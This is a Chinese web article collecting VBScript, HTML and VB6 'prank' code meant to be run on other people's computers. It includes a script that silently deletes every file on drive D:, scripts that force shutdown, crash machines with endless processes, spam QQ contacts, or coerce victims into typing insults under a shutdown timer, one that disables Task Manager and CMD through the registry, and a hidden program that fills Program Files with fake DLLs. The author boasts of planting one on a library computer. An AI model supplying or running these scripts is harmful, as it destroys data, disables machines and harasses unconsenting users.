vbs整人代碼大集合多年的代碼收集

更新時(shí)間：2011年02月26日 22:13:53 作者：

vbs整人代碼大集合，收集的比較全，喜歡的朋友可以參考下。不要搞破壞，學(xué)習(xí)vbs的朋友非常有幫助，死循環(huán)的使用比較多。

一、你打開(kāi)好友的聊天對(duì)話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼里的數(shù)字10改一下即可).
xx.vbs=>

 
On Error Resume Next 
Dim wsh,ye 
set wsh=createobject("wscript.shell") 
for i=1 to 10 
wscript.sleep 700 
wsh.AppActivate("與 xx 聊天中") 
wsh.sendKeys "^v" 
wsh.sendKeys i 
wsh.sendKeys "%s" 
next 
wscript.quit 

QQ騷擾信息,也可以用在其它程序上。
二、我就用這個(gè)程序放在學(xué)校圖書(shū)館查詢書(shū)刊的機(jī)器上，好多人都那它沒(méi)辦法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打開(kāi)無(wú)數(shù)個(gè)計(jì)算器，直到死機(jī)
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接關(guān)機(jī)
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、刪除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不斷彈出窗口
----------------------------------------------------------------------------

復(fù)制代碼代碼如下:

 
while(1) 
msgbox "哈哈 你被耍了！" 
loop 

----------------------------------------------------------------------------
七、不斷按下alt+f4 （開(kāi)什么都關(guān)閉……）
---------------------------------------------------------------------------

復(fù)制代碼代碼如下:

 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
while(1) 
WSHshell.SendKeys "%{F4}" 
loop 

八、按500次回車
(以上代碼在運(yùn)行者的電腦上顯示500個(gè)對(duì)話框。其中 do until s=500 ，500可以隨意更改)

復(fù)制代碼代碼如下:

 
dim s 
do until s=500 
s=s+1 
msgbox "哥們，給我按500次回車吧",64 
loop 
'------------------------ ------------------------------------------------------------ 

九、關(guān)不掉的窗口

復(fù)制代碼代碼如下:

 
WScript.Echo("嘿，謝謝你打開(kāi)我哦，我等你很久拉！"&TSName) 
WScript.Echo("你是可愛(ài)的小朋嗎?") 
WScript.Echo("哈,我想你拉，這你都不知道嗎？") 
WScript.Echo("怎么才來(lái)，說(shuō)~是不是不關(guān)心我") 
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。") 
WScript.Echo("小強(qiáng)很生氣，后果很嚴(yán)重哦。") 
WScript.Echo("嘿嘿！你也會(huì)很慘滴哦") 
WScript.Echo("是不是想清除我？") 
WScript.Echo("那你要點(diǎn)上50下哦，不過(guò)會(huì)給你驚喜滴") 
WScript.Echo("還剩49下，快點(diǎn)點(diǎn)哦") 
WScript.Echo("還剩48下，快點(diǎn)，小笨蛋！") 
WScript.Echo("還剩47下對(duì)，就這樣快點(diǎn)點(diǎn)！") 
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。") 
WScript.Echo("還剩45下，記得要快哦！") 
WScript.Echo("還剩43下") 
WScript.Echo("還剩42下") 
WScript.Echo("還剩41下") 
WScript.Echo("還剩40下") 
WScript.Echo("還剩39下") 
WScript.Echo("還剩38下") 
WScript.Echo("還剩37下") 
WScript.Echo("還剩36下") 
WScript.Echo("還剩35下") 
WScript.Echo("還剩34下") 
WScript.Echo("還剩33下") 
WScript.Echo("還剩32下") 
WScript.Echo("還剩30下") 
WScript.Echo("還剩29下") 
WScript.Echo("還剩28下") 
WScript.Echo("還剩27下") 
WScript.Echo("還剩26下") 
WScript.Echo("還剩25下") 
WScript.Echo("還剩24下") 
WScript.Echo("還剩23下") 
WScript.Echo("還剩22下") 
WScript.Echo("還剩21下") 
WScript.Echo("還剩20下") 
WScript.Echo("還剩19下") 
WScript.Echo("還剩18下") 
WScript.Echo("還剩17下") 
WScript.Echo("還剩16下") 
WScript.Echo("還剩15下") 
WScript.Echo("還剩14下") 
WScript.Echo("還剩13下停停！?。÷c(diǎn)，我有話要說(shuō)") 
WScript.Echo("還剩12下，你繼續(xù)點(diǎn)我就會(huì)消失滴") 
WScript.Echo("還剩11下，以后就看不到我拉。555555") 
WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止！") 
WScript.Echo("還剩9下。你還點(diǎn)啊，不要我拉？") 
WScript.Echo("還剩8下，有點(diǎn)傷心拉，干嘛丟棄人家") 
WScript.Echo("還剩7下。瘋了，你有點(diǎn)負(fù)意！") 
WScript.Echo("還剩6下。對(duì)。你就點(diǎn)吧，我恨你！") 
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？") 
WScript.Echo("還剩4下！真要?jiǎng)h除我？") 
WScript.Echo("還剩3下?？墒俏艺娴暮芫鞈倌恪?。。") 
WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛(ài)你的！") 
WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無(wú)義！??！") 
WScript.Echo("我本因該消失的，不過(guò)我留戀你滴芳容，上帝又給了一次機(jī)會(huì)。") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 
WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

兩個(gè)整人的VBS腳本2009-07-16 18:16
文章錄入：7747.Net 責(zé)任編輯：7747.Net 564
【字體：小大】

測(cè)試環(huán)境：Windows 2003 系統(tǒng)
大家好我是Vanlisa QQ137841986
今天給大家?guī)?lái)兩個(gè)整人的VBS腳本希望大家喜歡
VBS腳本大家都知道吧第一個(gè)是定時(shí)關(guān)機(jī)的
如果把他發(fā)給你的QQ好友他不懂的話如果不輸我是豬電腦就會(huì)在你設(shè)定的
時(shí)間內(nèi)關(guān)機(jī) 我設(shè)置的是3分鐘只要輸入就解除了當(dāng)然如果不輸?shù)脑捯灿薪獬霓k法
我們來(lái)看下這個(gè)腳本

復(fù)制代碼代碼如下:

 
on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說(shuō)我是豬，不說(shuō)我是豬就一分鐘關(guān)機(jī)，不信，試下···"" ",0 ,true 
dim a 
do while(a <> "我是豬") 
a = inputbox ("說(shuō)我是豬,就不關(guān)機(jī)，快撒，說(shuō) ""我是豬""　","說(shuō)不說(shuō)","",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖" 

新建一個(gè)記事本把上面的代碼復(fù)制進(jìn)去另存為VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
這里的數(shù)字可以修改關(guān)機(jī)時(shí)間 180秒
這些文字也可以自設(shè) 這個(gè)腳本啟用cmd 里的關(guān)機(jī)程序
如果不輸?shù)牡脑?可以打開(kāi)任務(wù)管理器輸入shutdown -a 來(lái)解除我們?cè)囅?這時(shí)定時(shí)關(guān)機(jī)已
經(jīng)沒(méi)了但是還有個(gè)關(guān)不掉的窗口我們打開(kāi)任務(wù)管理器結(jié)束掉Wscript.exe 這個(gè)進(jìn)程就OK
了這時(shí)就完全解除這個(gè)腳本了 Wscript 時(shí)Windows 腳本宿主
-------------------------------------------------------------------------------------------
下面看第二個(gè)整人的腳本
-------------------------------------------------------------------------------------------

復(fù)制代碼代碼如下:

 
set ws=createobject("wscript.shell") 
call shutdown(1) 
do while a<>"我是豬" 
a=inputbox("快在下面的框框里輸入我是豬,否則后果自負(fù)，快輸""我是豬"" ","輸不輸","") 
loop 
call shutdown(2) 
msgbox "早說(shuō)就行了嘛",4096+64 
msgbox"再輸一遍我是豬!",4096+64 
msgbox"我是豬!",4096+64 
MsgBox"最后一次!",4096+64 
MsgBox"如果你很快的點(diǎn)過(guò)去,不看的話",4096+64 
MsgBox"我就要你踩我空間的!哼!",4096+64 
MsgBox"從前有座山!",4096+64 
MsgBox"山里有個(gè)廟.",4096+64 
MsgBox"廟里有個(gè)老和尚在講故事.",4096+64 
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" 
msgbox"哎呀累了！數(shù)綿羊哄我睡覺(jué)",4096+64 
for i=1 to 100 
MsgBox i&"只綿羊",4096+64 
next 
msgbox"哎呀我困了，這次就饒過(guò)你吧，下次注意哦!",4096+64 
msgbox"最后問(wèn)個(gè)問(wèn)題，我是不是大好人！",4096+64 
if inputbox("是不是","請(qǐng)選擇","是")<>"是" then 
call shutdown(1) 
end if 
sub shutdown(s) 
select case s 
case 1 
ws.run"cmd.exe /c shutdown -r -t 60 -c",0 
case 2 
ws.run"cmd.exe /c shutdown -a",0 
end select 
end sub 

--------------------------------------------------------------------------------
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
這段代碼可以改成你自己設(shè)定的地址
如果別人不輸我是豬的話就會(huì)一直點(diǎn)下去點(diǎn)到你設(shè)定的數(shù)字
for i=1 to 100
從1到100
可以改成 20 其他的數(shù)字
解除這個(gè)VBS腳本的辦法就簡(jiǎn)單了只是關(guān)掉任務(wù)管理器里Wscript.exe
這個(gè)進(jìn)程就好了
BY：7747.net

2009QQ整人代碼

復(fù)制代碼代碼如下:

 
set s=createobject("wscript.shell") 
set bag=getobject("winmgmts:\\.\root\cimv2") 
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") 
For Each id in pipe 
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then 
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" 
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" 
id.terminate() 
else 
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" 
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" 
for i=1 to 60 
s.popup"系統(tǒng)將在"& 60-i &"秒后關(guān)機(jī)...",1,"系統(tǒng)提示",4096+48 
next 
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") 
For Each eOs In colOS 
eOs.Win32Shutdown(2) 
Next 
end if 
Next 

[color=#FF0000]復(fù)制以上代碼，在桌面建一個(gè)文本，把代碼放進(jìn)去，另存為VBE格式，
此代碼的威力：
1：開(kāi)機(jī)就強(qiáng)制自動(dòng)關(guān)機(jī)
2：cmd命令打不開(kāi)
3：結(jié)束任務(wù)不管用
4：F8安全模式也不管用
呵呵！聽(tīng)起來(lái)是不是有點(diǎn)恐怖啊，我在我朋友空間里看見(jiàn)也嚇了一跳、
代碼破解方法：就是再運(yùn)行一次，就可以破解了，也就是第2次保存的那個(gè)VBE文件，，
PS：不要亂拿軟件去整人，發(fā)生什么事可不要怪我啊。。
拍拍手頂起吧!

2：

復(fù)制代碼代碼如下:

 
on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說(shuō)你是傻B，我是天下第一大傻B不說(shuō)寶寶，我是天下第一大傻B就一分鐘關(guān)你機(jī)，不信，試試···"" ",0 ,true 
dim a 
do while(a <> "寶寶，我是天下第一大傻B") 
a = inputbox ("寶寶，我是天下第一大傻B,就不關(guān)機(jī)，快撒，說(shuō) ""寶寶，我是天下第一大傻B""　","說(shuō)不說(shuō)","不說(shuō)",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛，乖乖" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？" 

這代碼是我從朋友那拿來(lái)的，大家可以試著玩下、你能做非法事情哦、

網(wǎng)頁(yè)整人效果代碼
想看效果，只要復(fù)制這下面的所有代碼保存在text文件里，修改文件后綴為txt就能看到效果了。

復(fù)制代碼代碼如下:

 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title>網(wǎng)頁(yè)特效|Linkweb.cn/Js|---很惡心的常見(jiàn)整人效果</title> 
</head> 
<body> 
<a href="" onMouseover="alert('為什么把鼠標(biāo)放到這里?'); 
alert('我不是說(shuō)過(guò)不可以這樣嗎？'); 
alert('你把我的話當(dāng)什么了？'); 
alert('你知道錯(cuò)了嗎？'); 
alert('什么？你居然....'); 
alert('居然還沒(méi)意識(shí)到自己做錯(cuò)了？'); 
alert('那好，你要為此付出代價(jià)!'); 
alert('我要你在這里點(diǎn)足一千下......'); 
alert('什么？你開(kāi)始有點(diǎn)后悔了？'); 
alert('何必呢？'); 
alert('你當(dāng)初干什么去了？'); 
alert('不原諒你！'); 
alert('好從現(xiàn)在開(kāi)始再點(diǎn)995下......'); 
alert('你的手開(kāi)始累了嗎?'); 
alert('什么？你已經(jīng)沒(méi)力氣了？'); 
alert('你一直在求我原諒你啊！'); 
alert('看來(lái)你是真的知道錯(cuò)了!'); 
alert('下次你還會(huì)這么做嗎？'); 
alert('真的不會(huì)了？'); 
alert('那好，今天就放你一馬！'); 
alert('寫(xiě)封信給我說(shuō)聲對(duì)不起!'); 
alert('你能這么做我很高興!!!'); 
document.bgColor='black'; 
document.fgColor='White'; 
window.location.href='mailto:mygod@god?subject=對(duì)不起,下次不敢了!';">不許把鼠標(biāo)移到這里</a> 

嘻試吧爽噢。。 

</body> 
</html> 

vbs整人代碼
代碼如下：

復(fù)制代碼代碼如下:

 
Private Sub Form_Load() 
Me.Hide 
End Sub 
Private Sub Timer1_Timer() 
'聲明變量，其中“count”為靜態(tài)變量，以便生成不同的文件 
Dim files As String 
Dim nr As String 
Dim c As String 
Static count As Long 
'定義要把生成的文件存放在那個(gè)目錄文件下 
c = "C:\Program Files\" 
'生成文件的內(nèi)容 
nr = "哈哈，被黑的感覺(jué)的不錯(cuò)吧" 
files = FreeFile 
'如果a等于a那么就執(zhí)行 
If a = a Then 
'count不斷的加1，以便產(chǎn)生不同的文件名 
count = count + 1 
'產(chǎn)生文件名及文件句柄，并用count作為產(chǎn)生不同的文件名。 
Open c & "system" & count & ".dll" For Append As #files 
'向文件寫(xiě)內(nèi)容 
Write #files, nr 
'清除文件句柄，這里很重要，如果不清除，將產(chǎn)生打開(kāi)文件太多的錯(cuò)誤提示 
Close #files 
End If 
End Sub 